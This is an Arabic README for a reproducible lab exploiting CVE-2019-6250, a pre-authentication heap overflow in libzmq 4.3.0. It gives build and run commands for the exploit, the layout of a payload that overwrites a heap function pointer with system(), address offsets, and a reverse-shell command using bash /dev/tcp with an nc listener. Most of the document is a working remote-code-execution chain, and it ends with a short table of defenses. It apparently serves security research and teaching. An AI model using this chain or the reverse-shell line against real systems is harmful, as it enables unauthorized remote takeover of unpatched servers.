
مختبر شامل لاستغلال (RCE) قبل المصادقة لـ CVE-2019-6250 (libzmq <= 4.3.0، بروتوكول ZMTP/2.0)
سلسلة RCE كاملة شاملة + مختبر قابل للتكرار لثغرة CVE-2019-6250، وهي تجاوز سعة المخزن المؤقت في الكومة قبل المصادقة في libzmq في v2_decoder_t::size_ready. يسمح تجاوز الحساب الحسابي لمؤشر uint64_t لمستخدم غير مصدق بالكتابة فوق مؤشر الدالة msg_t::content_t::ffn المجاور في مسار wire ZMTP/2.0، ثم تفعيلها عبر إغلاق مقبس TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).
بواسطة Nicolas Krassas (@dinosn).
للاستخدام المختبري فقط. تحتوي هذه الحزمة على libzmq 4.3.0 ضعيفة عمدًا. لا تعرض المنفذ 5555 خارج المختبر. تم إصلاح الثغرة منذ سبع سنوات في libzmq 4.3.1 (الالتزام
1a2ed127).
system() — إثبات الملف


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# داخل الحاوية:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- تم إنشاؤه بواسطة عملية خادم libzmq
sudo ./setup.sh # بناء libzmq 4.3.0 + الهدف، تعطيل ASLR
sudo ./start_server.sh # ربط tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # الأمر الافتراضي: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# الطرفية 1 — المستمع
nc -lvnp 4444
# الطرفية 2 — إطلاق السلسلة
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
يجب أن ترى شيئًا مشابهًا لـ:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
يؤكد سطر cannot set terminal process group (1355844) أن الصدفة تم إنشاؤها بواسطة عملية libzmq الهدف (PID 1355844)، وليس أي شيء قمت بتشغيله محليًا.
.
├── README.md # أنت هنا
├── server.c # مستمع PULL صغير — الهدف الضعيف
├── exploit.py # سلسلة RCE كاملة
├── setup.sh # مزود المعدن العاري (استنساخ + بناء libzmq 4.3.0)
├── start_server.sh # بدء/إعادة تشغيل الهدف
├── read_addresses.sh # إعادة توليد ملف تعريف العناوين لصورة مختلفة
├── run_lab_test.sh # اختبار تدخين آلي شامل من البداية للنهاية (مناسب لـ CI)
├── Dockerfile # أمر واحد لإنشاء مختبر محوسب
└── screenshots/ # لقطات شاشة README (مولدة باستخدام charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- يلتف
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // مسار آمن
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// مسار aliasing صفري النسخ — _in_progress.data() == read_pos_
}
msg_size_ هو uint64_t كبير البايت يتحكم به المهاجم من رأس الإطار الكبير ZMTP/2.0. مع msg_size_ = 0xFFFFFFFFFFFFFFFF، يلتف المجموع read_pos_ + msg_size_ مودولو 2⁶⁴ وينتهي به الأمر أقل من الجانب الأيمن. يقيم فحص الحدود على أنه خطأ → يقع التنفيذ في مسار النسخ الصفري → رسالة _in_progress تقوم بتأويل المخزن المؤقت للاستقبال. يطلب المُفكِّك بعد ذلك من النواة 0xFFFFFFFFFFFFFFFF بايت إضافية في read_pos_، ويقوم recv() بسعادة بكتابة حمولتنا بعد نهاية المخزن المؤقت للاستقبال إلى المصفوفة content_t[] المجاورة (المخصصة في نفس قطعة malloc() في decoder_allocators.cpp:88).
[ atomic_counter_t (refcnt) ] 8 بايت
[ مخزن الاستقبال ] 8192 بايت ← تبدأ البايتات بالهبوط عند read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 بايت
↑ content_t[0] تبدأ عند read_pos_+8183
نرسل حمولة بطول 8224 بايت منظمة بحيث:
عندما نغلق مقبس TCP، يستدعي ~v2_decoder_t() للخادم _in_progress.close(). في msg_t::close:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
قام init_external_storage بتعيين _u.zclmsg.flags = 0، لذا فإن الاختصار OR يأخذ الفرع فورًا — حتى refcnt لا يتم التحقق منه. ffn المُستبدَل لدينا ينفذ.
لا يوجد ROP، ولا شيلكود، ولا تسريب معلومات: مجرد حل رمز واحد من libc وسلسلة أوامر مضمنة واحدة.
v2_decoder_t بدون مصادقةبالنظر إلى stream_engine.cpp:707:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- لا يوجد كائن آلية
return true;
}
مسار ZMTP/2.0 ينشئ v2_decoder_t بـ لا آلية. فقط ZAP يرفض اتصالات 2.0، و ZAP معطل افتراضيًا. بمجرد أن يرسل النظير تحية ZMTP/2.0 ذات الـ 12 بايت (0xff + 8 أصفار + 0x7f + المراجعة 0x01 + نوع المقبس)، يتم تحليل كل بايت تالي بواسطة v2_decoder_t. لا مصادقة. لا مصافحة. لا آلة حالة آلية.
اختياري: البناء مع -fsanitize=address وشاهد تقرير تجاوز سعة المخزن المؤقت في الكومة:

تأكيد 0 bytes after 18160-byte region يؤكد حجم القطعة الذي حسبناه: 8 (atomic_counter) + 8192 (مخزن الاستقبال) + 249 × 40 (مصفوفة content_t) = 18160. موقع التخصيص في handshake_v2_0:719 يؤكد أن الثغرة تنشأ في مسار ZMTP/2.0 قبل المصادقة.
مع kernel.randomize_va_space=0، تكون قاعدة libc، وقاعدة libzmq، والكومة، ومنطقة malloc لخيط I/O جميعها في عناوين حتمية. يتم التقاط الملف الشخصي الافتراضي في exploit.py (DEFAULT_PROFILE) لبناء المختبر المرفق (Debian 12 / Kali 2024.1 / glibc 2.38، libzmq 4.3.0 وضع الإصدار -O2):
عند النقل إلى بناء glibc / libzmq مختلف، قم بتشغيل ./read_addresses.sh > profile.json بعد start_server.sh، ثم مرر --profile profile.json لبرنامج الاستغلال.
في هجوم عالم حقيقي ستحتاج إما إلى أولية تسريب معلومات أو استدعاء one-gadget لا يتطلب التحكم في الوسيطة. كلاهما خارج نطاق هذا المختبر — الهدف هنا هو إظهار خط الثغرة إلى الصدفة بشكل نظيف، وليس تجاوز ASLR.
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # استعادة ASLR الافتراضي
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas. المصدر الضعيف عمدًا libzmq 4.3.0 يتم جلبه في وقت البناء من المستودع العلوي المرخص بموجب LGPLv3-with-exceptions / MPLv2 — ينطبق ترخيصه على هذا الرمز بشكل منفصل.
لأبحاث الأمن الدفاعي والتعليم واختبار الأمن المصرح به فقط. لا تنشر البناء الضعيف المضمن خارج بيئة المختبر المحصور.
| إزاحة الحمولة | البايتات | ما يتم الكتابة فوقه |
|---|
[0:16] | حشو | (في مخزن الاستقبال) |
[16:K] | سلسلة الأوامر + NUL | (في مخزن الاستقبال — وسيطة system) |
[K:8183] | حشو | (في مخزن الاستقبال) |
[8183:8191] | read_pos+16 | content_t[0].data (→ الأمر) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (هدف تدفق التحكم) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
| الحقل | القيمة | المصدر |
|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | مشتق من التخطيط |
cmd_offset | 16 | أين نضع الأمر في الحمولة |
| الدفاع | التأثير |
|---|
| الترقية إلى libzmq ≥ 4.3.1 | تم الإصلاح. الالتزام 1a2ed127 يعيد كتابة فحص الحدود كـ msg_size_ > size_t(allocator.data()+size()-read_pos_) — لا يمكن حدوث تجاوز. |
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) مع أي n موجب | يخفف. يختصر فحص الحدود المعطل قبل أن يتمكن من الالتفاف. |
| تفعيل مصادقة ZAP | يمنع اتصالات ZMTP/2.0 (مرفوضة في stream_engine.cpp:709). لا يصلح الثغرة؛ فقط يمنع المسار غير المصادق. |
| ASLR | يبطئ التسليح لكنه لا يمنعه — أولية السلسلة نفسها غير متأثرة. |
| حمايات Canary/Stack / NX / RELRO | لا شيء من هذه يحمي اختطاف مؤشر دالة في الكومة. |